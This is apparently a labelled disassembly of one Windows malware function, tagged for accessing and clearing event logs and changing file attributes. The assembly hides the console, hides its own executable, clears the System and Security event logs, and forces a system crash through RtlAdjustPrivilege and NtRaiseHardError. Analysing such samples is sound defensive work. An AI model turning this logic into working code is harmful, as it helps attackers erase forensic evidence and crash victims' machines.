Function at 0x140002ff0
Capabilities:
Access the windows event log
Clear windows event logs
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
test eax, eax
je 0x1400031ec
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetSystemMenu]
test rax, rax
je 0x140003076
xor r8d, r8d
mov edx, 0xf060
mov rcx, rax
call qword [sym.imp.USER32.dll_RemoveMenu]
cmp byte [0x140017ee1], 0
jne 0x14000320f
xor esi, esi
lea r14, [0x140010898]
lea r15, str.System
lea r12, str.Security
nop word [rax + rax]
mov r8d, 0x104
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 2
mov edx, eax
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call fcn.140003590
mov dword [rsp + 0x60], 1
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
call fcn.140006b90
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
call qword [sym.imp.ole32.dll_CoUninitialize]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov r8d, 7
lea rdx, str.svchost
lea rcx, [rsp + 0x30]
call fcn.140002890
nop
lea rcx, [rsp + 0x30]
call fcn.140003ad0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14000317e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003179
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400031dc
call fcn.14000d134
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r12
lea rbx, [rsp + 0x78]
mov rdx, qword [rbx]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov rdi, rax
test rax, rax
je 0x1400031b7
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
add rbx, 8
lea rax, [rbp - 0x70]
cmp rbx, rax
jne 0x140003190
cmp byte [0x140017ee0], 0
jne 0x1400031e3
cmp byte [0x140017ee1], 0
je 0x1400030a0
jmp 0x14000320f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov byte [0x140017ee1], 1
jmp 0x14000320f
lea rdx, [0x1400106ea]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003280
lea rdx, [0x140003460]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r9, [rsp + 0x50]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14000d0d0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret